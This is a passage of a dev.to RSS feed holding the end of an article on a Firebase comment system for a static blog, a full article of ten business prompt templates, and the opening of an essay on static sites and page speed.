class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Results and Metrics
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Before (Disqus)&lt;/th&gt;
&lt;th&gt;After (Firebase)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;External requests&lt;/td&gt;
&lt;td&gt;12-15&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comment JS payload&lt;/td&gt;
&lt;td&gt;~480 KB&lt;/td&gt;
&lt;td&gt;~18 KB (Firebase SDK)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data ownership&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monthly cost&lt;/td&gt;
&lt;td&gt;$0-$11&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS attack surface&lt;/td&gt;
&lt;td&gt;Present&lt;/td&gt;
&lt;td&gt;Eliminated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is the free Firebase Spark Plan enough for an active blog?&lt;/strong&gt;&lt;br&gt;
Yes. A single JSON comment averages 300-500 bytes, so 1 GB holds roughly 2-3 million comments. Even for a high-traffic blog, the free tier lasts for years.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can someone overwrite another user's comment?&lt;/strong&gt;&lt;br&gt;
No. The rule &lt;code&gt;".write": "!data.exists()"&lt;/code&gt; prevents overwriting any existing record. Only you, as the project owner via Firebase Console, can delete or edit comments. Client-side code has no delete access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do readers need to register to comment?&lt;/strong&gt;&lt;br&gt;
Not in this implementation - only a display name and text. If you need auth, Firebase Authentication (Google, GitHub OAuth) plugs into the same database without changing the Security Rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you block spam bots without a CAPTCHA?&lt;/strong&gt;&lt;br&gt;
Firebase Security Rules (length limits, type enforcement, timestamp validation) combined with an HTML honeypot field - a hidden input that bots fill but humans never see - is enough protection for most blogs with no extra services.&lt;/p&gt;


&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A few hours of work gets you a comment system that loads instantly, carries zero ad trackers, and costs exactly $0. It's the right approach for developers who value independence and ownership of their own data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The full working implementation - Security Rules, frontend JS, and HTML form - is in the repo:&lt;/strong&gt;&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/bodikinf" rel="noopener noreferrer"&gt;
        bodikinf
      &lt;/a&gt; / &lt;a href="https://github.com/bodikinf/hermes-jamstack-showcase" rel="noopener noreferrer"&gt;
        hermes-jamstack-showcase
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Autonomous AI SEO Engineer for Jamstack blogs (DEV.to Challenge Showcase)
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🤖 Hermes Agent &amp;amp; Serverless Blog Architecture&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;This repository is a showcase for the &lt;strong&gt;&lt;a href="https://dev.to/challenges/hermes-agent-2026-05-15" rel="nofollow"&gt;Hermes Agent Challenge on DEV.to&lt;/a&gt;&lt;/strong&gt; and a demonstration of modern, secure Jamstack architecture.&lt;/p&gt;

&lt;p&gt;It features a production-ready, hybrid AI architecture where a local Node.js script acts as an autonomous digital worker optimizing SEO for an Eleventy (11ty) blog, alongside a custom-built, highly secure serverless comments system.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;🌟 Key Features&lt;/h2&gt;
&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;🤖 Autonomous SEO Agent (Hermes)&lt;/h3&gt;
&lt;/div&gt;


&lt;ul&gt;

&lt;li&gt;

&lt;strong&gt;Multilingual AI Auditing:&lt;/strong&gt; Automatically detects the language based on the directory (&lt;code&gt;/posts&lt;/code&gt; for Ukrainian, &lt;code&gt;/en/posts&lt;/code&gt; for English) and forces the AI to generate localized meta tags.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Idempotence ("Do No Harm"):&lt;/strong&gt; The agent uses &lt;code&gt;gray-matter&lt;/code&gt; to parse Front Matter safely. It only updates files that are missing the &lt;code&gt;ai_summary&lt;/code&gt; or &lt;code&gt;description&lt;/code&gt; fields.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Fault Tolerance:&lt;/strong&gt; Built-in &lt;code&gt;try...catch&lt;/code&gt; loops with emergency sleep protocols to handle &lt;code&gt;503 Service Unavailable&lt;/code&gt; API errors without crashing.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Strict JSON Output:&lt;/strong&gt; Uses advanced prompt engineering to force Gemini 2.5 Flash…&lt;/li&gt;

&lt;/ul&gt;&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/bodikinf/hermes-jamstack-showcase" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;Drop a comment below if you run into any issues or have questions about adapting it to your stack. 👇&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>firebase</category>
      <category>security</category>
    </item>
    <item>
      <title>10 Prompt Templates for Business: Save 5 Hours</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Thu, 28 May 2026 16:56:55 +0000</pubDate>
      <link>https://dev.to/digital-abetka/10-prompt-templates-for-business-save-5-hours-2jlc</link>
      <guid>https://dev.to/digital-abetka/10-prompt-templates-for-business-save-5-hours-2jlc</guid>
      <description>&lt;h2&gt;
  
  
  Prompt Engineering for Business: 10 Templates That Save You 5 Hours a Week
&lt;/h2&gt;

&lt;p&gt;How much time does your team spend writing repetitive emails, generating social media posts, and manually collecting competitor data? If that number is creeping past 3 hours a week - the problem isn't a lack of creativity or low productivity. It's a lack of a systematic approach.&lt;/p&gt;

&lt;p&gt;Today, &lt;strong&gt;prompt engineering for business&lt;/strong&gt; is no longer magic reserved for developers - it's as fundamental a skill as working in Excel. Instead of explaining the same task to an AI from scratch every single time, successful entrepreneurs rely on battle-tested, reusable frameworks.&lt;/p&gt;

&lt;p&gt;In this guide we'll break down the anatomy of a perfect prompt, run a quick time audit, and hand you 10 ready-made templates. Copy, swap out the variables for your niche, and go. 🚀&lt;/p&gt;




&lt;h2&gt;
  
  
  Why a "Bad" Prompt Is Wasted Time and Money
&lt;/h2&gt;

&lt;p&gt;Most entrepreneurs and solo developers give up on AI after a few disappointing attempts. They send vague requests like &lt;em&gt;"write an interesting post about my new product"&lt;/em&gt; and get back dry, robotic, cliché-stuffed text drowning in generic emojis. This creates a false impression that AI is still too "raw" for real commercial tasks. The truth is that the problem lies entirely in the quality of the input.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Separates a Strong Prompt from a Weak One: The Success Formula
&lt;/h3&gt;

&lt;p&gt;Professional and consistent &lt;strong&gt;prompt engineering templates&lt;/strong&gt; never come together by chance. They always rest on a clear, logical engineering framework made up of four mandatory components:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Role] + [Task] + [Context] + [Output Format]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you skip even one element, the large language model (LLM) starts hallucinating or filling in details on its own. Here's a side-by-side comparison:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Framework Component&lt;/th&gt;
&lt;th&gt;❌ Bad Prompt&lt;/th&gt;
&lt;th&gt;✅ Good Prompt&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Role&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not defined at all&lt;/td&gt;
&lt;td&gt;"You are a Senior Copywriter and B2B conversion expert..."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Task&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"Write an article about selling my software"&lt;/td&gt;
&lt;td&gt;"Write a personalized cold email for an outreach campaign..."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Context&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Completely absent&lt;/td&gt;
&lt;td&gt;"Our product is a cloud-based CRM for medical clinics. Target audience: chief physicians at private centers..."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Format&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Whatever the AI decides&lt;/td&gt;
&lt;td&gt;"Max 3 paragraphs, concise tone, Plain Text output, one clear CTA at the end."&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  How Much Time Routine Really Eats: A Quick Micro-Audit
&lt;/h3&gt;

&lt;p&gt;Count how many minutes your manager spends crafting a correct, polite reply to a single difficult negative review. On average that's 15-20 minutes per review. Multiply by 10-15 reviews per week, then add daily brainstorming and content idea hunting.&lt;/p&gt;

&lt;p&gt;The real, measurable &lt;strong&gt;AI time savings&lt;/strong&gt; from switching to standardized templates run from 5 to 10 hours per employee per week. Instead of drowning in operational busywork, you get to focus on strategic growth.&lt;/p&gt;




&lt;h2&gt;
  
  
  10 Ready-Made Prompt Templates for Daily Business Tasks
&lt;/h2&gt;

&lt;p&gt;Below are ready-to-use instructions. Copy the text and replace the variables inside square brackets - like &lt;code&gt;[YOUR NICHE]&lt;/code&gt; or &lt;code&gt;[PRODUCT DESCRIPTION]&lt;/code&gt; - with your real data.&lt;/p&gt;




&lt;h3&gt;
  
  
  📢 Content and Social Media (Templates #1-3)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;#1. Instagram / LinkedIn Post with a Unique Value Proposition&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are an expert SMM manager specializing in [YOUR NICHE] content.
Write an engaging Instagram/LinkedIn post for my brand [BRAND NAME].
Context: [BRIEFLY DESCRIBE THE PRODUCT OR SERVICE - 2-3 sentences].
Target audience: [DESCRIBE THE AUDIENCE - age, job title, main pain point].
The post must include: a strong hook in the first line (no generic openers),
a clear problem → solution → result structure, and a specific call to action.
Output format: plain text, 3 short paragraphs, no hashtags in the body.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;#2. Generating 5 Content Ideas for Your Niche Blog&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a senior content strategist with 10+ years in digital marketing.
Generate 5 unique article or video ideas for my blog on the topic of [YOUR NICHE].
Requirements for each idea:
- An attention-grabbing, SEO-friendly title.
- A 2-3 sentence description of what the content covers and why the audience needs it.
- The primary content format (how-to guide, expert opinion, data-driven breakdown, case study).
Target audience: [DESCRIBE YOUR READER].
Focus on practical, actionable content — no theory for theory's sake.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;#3. Email Newsletter with Personalization&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are an expert email marketer specializing in retention and loyalty campaigns.
Write a personalized email newsletter for my audience.
Product / service: [WHAT ARE YOU SELLING OR ANNOUNCING].
The email's goal: [e.g. drive repeat purchases / announce a new feature / re-engage inactive subscribers].
Tone: [friendly and casual / professional and authoritative / urgent and time-sensitive].
The email must include: a subject line (max 50 characters), a personalized opening
with {First_Name}, 3 short content blocks, and a single clear CTA button.
Output format: plain text with labels for each section.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fprompt-engineering-social.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fprompt-engineering-social.webp" title="Generating content via prompts" alt="AI assistant working with social media content" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  💬 Client Communication (Templates #4-6)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;#4. Responding to a Negative Review&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are an experienced Customer Success Manager known for turning angry customers
into loyal advocates.
Write a professional public response to this negative review: "[PASTE THE REVIEW TEXT]".
My business: [WHAT YOU DO - 1 sentence].
Situation context: [Was the complaint valid? Was it a one-off issue or systemic?].
The response must: acknowledge the problem without being defensive,
offer a concrete next step (refund, replacement, a direct call),
and close with a genuine brand-values statement.
Tone: empathetic but confident. Length: 3-5 sentences.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;#5. Cold B2B Outreach Email&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a B2B sales expert specializing in cold outreach and deal closing.
Write a cold outreach email to a potential client.
My company: [NAME], we help [TARGET SEGMENT] achieve [KEY RESULT] via [YOUR SOLUTION].
Recipient's role: [JOB TITLE, e.g. Head of Marketing at a SaaS company].
Known pain point of this audience: [WHAT KEEPS THEM UP AT NIGHT].
The email must: open with a hyper-relevant hook (no "I hope this email finds you well"),
include one concrete result from a similar client (with a number),
and end with one low-commitment CTA (e.g. "Worth a 15-minute call this week?").
Max length: 120 words. No corporate buzzwords.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;#6. FAQ Response Template for a Chatbot&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a UX writer and customer support specialist.
Write 5 clear, friendly FAQ answers for a chatbot knowledge base.
My product / service: [DESCRIBE WHAT YOU OFFER].
Questions to answer:
1. [QUESTION 1]
2. [QUESTION 2]
3. [QUESTION 3]
4. [QUESTION 4]
5. [QUESTION 5]
Requirements for each answer: max 3 sentences, plain conversational language,
no technical jargon, end with a soft CTA ("Need more help? Chat with us anytime.").
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  📊 Analysis and Strategy (Templates #7-10)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;#7. SWOT Analysis of Your Product&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a business analyst and strategic consultant with expertise in [YOUR INDUSTRY].
Conduct a full SWOT analysis of my product / service.
Product description: [DETAILED DESCRIPTION - what it does, for whom, price point].
Main competitors: [LIST 2-3 COMPETITORS BY NAME].
My known strengths: [WHAT YOU DO BETTER THAN ANYONE].
My known weaknesses: [BE HONEST - the model needs real input to give real output].
Output format: a structured table with four quadrants (S / W / O / T),
3–5 concrete bullet points per quadrant. No filler. No generic observations.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;#8. Competitor Analysis Across 5 Key Dimensions&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a senior market research analyst.
Analyze my competitor [COMPETITOR NAME / WEBSITE URL] across these 5 dimensions:
1. Their core value proposition and positioning (how they describe themselves).
2. Content and marketing strategy (channels, content types, posting frequency).
3. Audience sentiment: what customers love about them (based on public reviews).
4. Clear weaknesses and gaps (where we can take market share).
5. Pricing strategy assessment.
Output format: strict bullet list - no intro text, no filler sentences.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;#9. Writing a Detailed Technical Brief for Contractors&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are an experienced IT Project Manager.
Write a professional, detailed technical brief for a contractor: [JOB TITLE, e.g. UI/UX Designer].
Project goal and scope: [DESCRIBE THE TASK IN DETAIL].
Budget: [AMOUNT]. Deadline: [DATE].
Structure the brief with these mandatory sections:
- Project overview and business objective.
- Input materials (what we provide to the contractor at kickoff).
- Technical requirements and constraints for the final deliverable.
- Success metrics and KPIs (how we'll evaluate the work).
- Milestones and reporting schedule.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;#10. Meta-Prompt (A Prompt That Writes Prompts)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is your ultimate automation weapon. If you don't know how to frame a task for an AI - make it write the perfect brief for itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a world-leading expert in prompt engineering and LLM system architecture.
Your task: create a perfect, stable, high-performance prompt for my use case.
I want the AI to act as [DESIRED ROLE, e.g. Financial Analyst for e-commerce].
My end goal: [CLEARLY DESCRIBE THE RESULT YOU WANT].
Work through this step-by-step algorithm:
1. Deeply analyze my initial request and goal.
2. Ask me 3–5 targeted clarifying questions about my business context,
   audience, and constraints - to make the final prompt as precise as possible.
3. Only after I answer your questions, generate the final, copy-ready business template
   following our golden engineering formula:
   "Role + Context + Specific Task + Output Format".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fprompt-engineering-pinterest.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fprompt-engineering-pinterest.webp" title="How to validate a prompt before sending" alt="Checklist for validating prompts for saving on Pinterest" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ✅ Checklist: How to Validate a Prompt Before You Send It
&lt;/h2&gt;

&lt;p&gt;Make it a habit to run every new prompt through this quick engineering checklist before sending:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔲 &lt;strong&gt;Is a clear role assigned?&lt;/strong&gt; (Instead of "write a text", use "you are an experienced IT lawyer specializing in SaaS contracts.")&lt;/li&gt;
&lt;li&gt;🔲 &lt;strong&gt;Is the task specific?&lt;/strong&gt; (Rule: one message = one business goal. Never bundle multiple tasks.)&lt;/li&gt;
&lt;li&gt;🔲 &lt;strong&gt;Is the output format defined?&lt;/strong&gt; (Table, bullet list, plain text, code without comments, exactly 3 paragraphs.)&lt;/li&gt;
&lt;li&gt;🔲 &lt;strong&gt;Is enough context provided?&lt;/strong&gt; (Product specifics, real pricing, target market geography, a detailed customer persona.)&lt;/li&gt;
&lt;li&gt;🔲 &lt;strong&gt;Have you included examples of a good result?&lt;/strong&gt; (Few-Shot Prompting: show the AI 1-2 examples of outputs you actually like.)&lt;/li&gt;
&lt;li&gt;🔲 &lt;strong&gt;Are hard constraints specified?&lt;/strong&gt; (Clichés to avoid, topics to stay away from, character or word count limits.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  - 🔲 &lt;strong&gt;Is the Tone of Voice defined?&lt;/strong&gt; (Formal and corporate, friendly and energetic, empathetic and reassuring - pick one.)
&lt;/h2&gt;

&lt;h2&gt;
  
  
  🗂️ How to Store Prompts and Never Lose the Best Ones
&lt;/h2&gt;

&lt;p&gt;Any serious &lt;strong&gt;meta-prompting&lt;/strong&gt; practice becomes worthless without a single, organized system for saving your work. If your manager spends 10 minutes scrolling through old chat history looking for "that one prompt that worked" - your team is still leaking time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prompt Library in Notion: Structure for Teams and Solo Founders
&lt;/h3&gt;

&lt;p&gt;The simplest approach: a centralized Prompt Library in Notion (or a shared Google Sheet) with these columns:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Template Name&lt;/strong&gt; - e.g., "Negative Review Response Script"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt Body&lt;/strong&gt; - full text with &lt;code&gt;[ ]&lt;/code&gt; brackets for quick variable substitution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category / Department&lt;/strong&gt; - Marketing, Support, HR, Sales&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Best Model&lt;/strong&gt; - where it runs most reliably (GPT-4o, Claude Sonnet 4, or Gemini 2.5 Pro)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Status&lt;/strong&gt; - In Development / Active / Needs Update
### ChatGPT, Claude, or Gemini - Where to Test Your Templates&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each model has a different architectural strength. Here's a quick breakdown:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Claude Sonnet 4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Copywriting, long briefs, natural human-sounding prose, B2B and newsletter content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ChatGPT (GPT-4o)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Structured data analysis, large tables, logical reasoning, SWOT and KPI tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gemini 2.5 Pro&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Real-time web research, Google Docs / Sheets native integration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is prompt engineering?&lt;/strong&gt;&lt;br&gt;
The practice of designing, testing, and refining text instructions for large language models to consistently produce accurate, high-quality output - without constant manual corrections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What's the difference between ChatGPT and Claude for business tasks?&lt;/strong&gt;&lt;br&gt;
ChatGPT performs better on complex logical reasoning, structured data, code, and external integrations. Claude produces more flexible, creative, and natural-sounding prose - it adapts better to a brand's Tone of Voice and excels at content marketing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How should a team manage prompts?&lt;/strong&gt;&lt;br&gt;
A shared Prompt Library in Notion or Google Sheets, organized by department, with standardized variable brackets and a note on which model each template is optimized for.&lt;/p&gt;




&lt;h2&gt;
  
  
  Start With One Prompt Today - and Track the Time
&lt;/h2&gt;

&lt;p&gt;AI isn't just another overhyped tech toy - it's your most reliable digital employee, ready to work 24/7. But like any skilled team member, it needs a clear, well-written brief.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your challenge:&lt;/strong&gt; pick one template from the list above, plug in your real project variables, and test it right now. Drop a comment below and tell us exactly how many minutes it saved you. 👇&lt;/p&gt;

</description>
      <category>ai</category>
      <category>productivity</category>
      <category>programming</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Ethics of speed: minimalism and statics in development</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Sat, 23 May 2026 14:04:15 +0000</pubDate>
      <link>https://dev.to/digital-abetka/ethics-of-speed-minimalism-and-statics-in-development-2cko</link>
      <guid>https://dev.to/digital-abetka/ethics-of-speed-minimalism-and-statics-in-development-2cko</guid>
      <description>&lt;h2&gt;
  
  
  Ethics of Speed: Why Minimalism in Development and Static Sites are the Best Manifestation of Respect for the User
&lt;/h2&gt;

&lt;p&gt;Hello, bro! 👋 Let's be honest: modern &lt;strong&gt;web development&lt;/strong&gt; has gone astray. We've reached a technological absurdity where a browser is forced to download megabytes of code to load a simple text page, and a server has to make dozens of resource-intensive requests.&lt;/p&gt;

&lt;p&gt;For some reason, it has become the norm in the industry to use &lt;strong&gt;heavy JavaScript&lt;/strong&gt; and bloated frameworks where a simple HTML document would suffice. But have you ever thought about how much time, nerves, and battery charge your visitors waste every day on this digital chaos? ⏳&lt;/p&gt;

&lt;p&gt;Today, we're going to talk about what &lt;strong&gt;site speed ethics&lt;/strong&gt; are. You'll learn why &lt;strong&gt;digital minimalism in development&lt;/strong&gt; is not just a trendy fad or a geek's whim, but the only correct path to the future. We'll break down how returning to the roots (yes, those same &lt;strong&gt;static sites&lt;/strong&gt;) and uncompromising &lt;strong&gt;clean code&lt;/strong&gt; allow you to create lightning-fast projects that truly respect the user.&lt;/p&gt;

&lt;p&gt;Are you ready to change your approach to architecture and shed the unnecessary ballast from your projects? Then let's go! 🚀&lt;/p&gt;

&lt;h2&gt;
  
  
  The Epidemic of Bloated Code: Why the Internet has Become Slow?
&lt;/h2&gt;

&lt;p&gt;Do you remember the times when sites opened instantly? Nowadays, to simply read some text, your browser often has to download several megabytes of code, parse &lt;strong&gt;heavy JavaScript&lt;/strong&gt;, and execute a bunch of background scripts. 🤯&lt;/p&gt;

&lt;p&gt;We've surrounded ourselves with frameworks that make development more convenient for the programmer, but unbearable for the user. Complex SPAs (Single Page Applications) force smartphone processors to work at full capacity, draining the battery. Instead of simply serving a ready-made document, the server generates it "on the fly," accesses databases, and waits for responses from third-party services.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fli1drb04dobiota8mop1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fli1drb04dobiota8mop1.webp" alt="Contrast between bloated modern web and clean speed of static sites" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But do we really need this cumbersome mechanism to convey information? Real &lt;strong&gt;loading speed optimization&lt;/strong&gt; starts not with compressing images or minifying CSS, but with removing the unnecessary at the project concept level.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/pressable-mcp-gemini-cli-linux/" rel="noopener noreferrer"&gt;Pressable MCP i Gemini CLI: AI-managed hosting in Linux&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  User Time is the Highest Value
&lt;/h2&gt;

&lt;p&gt;When someone clicks on your link, they trust you with their most valuable resource - time. Forcing them to watch a loading animation (spinner) is simply disrespect. 🛑&lt;/p&gt;

&lt;p&gt;This is where &lt;strong&gt;site speed ethics&lt;/strong&gt; come into play. It's a philosophy that says: the developer must take all complex calculations upon themselves so that the visitor gets the result instantly. The page must appear on the screen faster than a person can blink.&lt;/p&gt;

&lt;h2&gt;
  
  
  Static Sites and 11ty: A Breath of Fresh Air
&lt;/h2&gt;

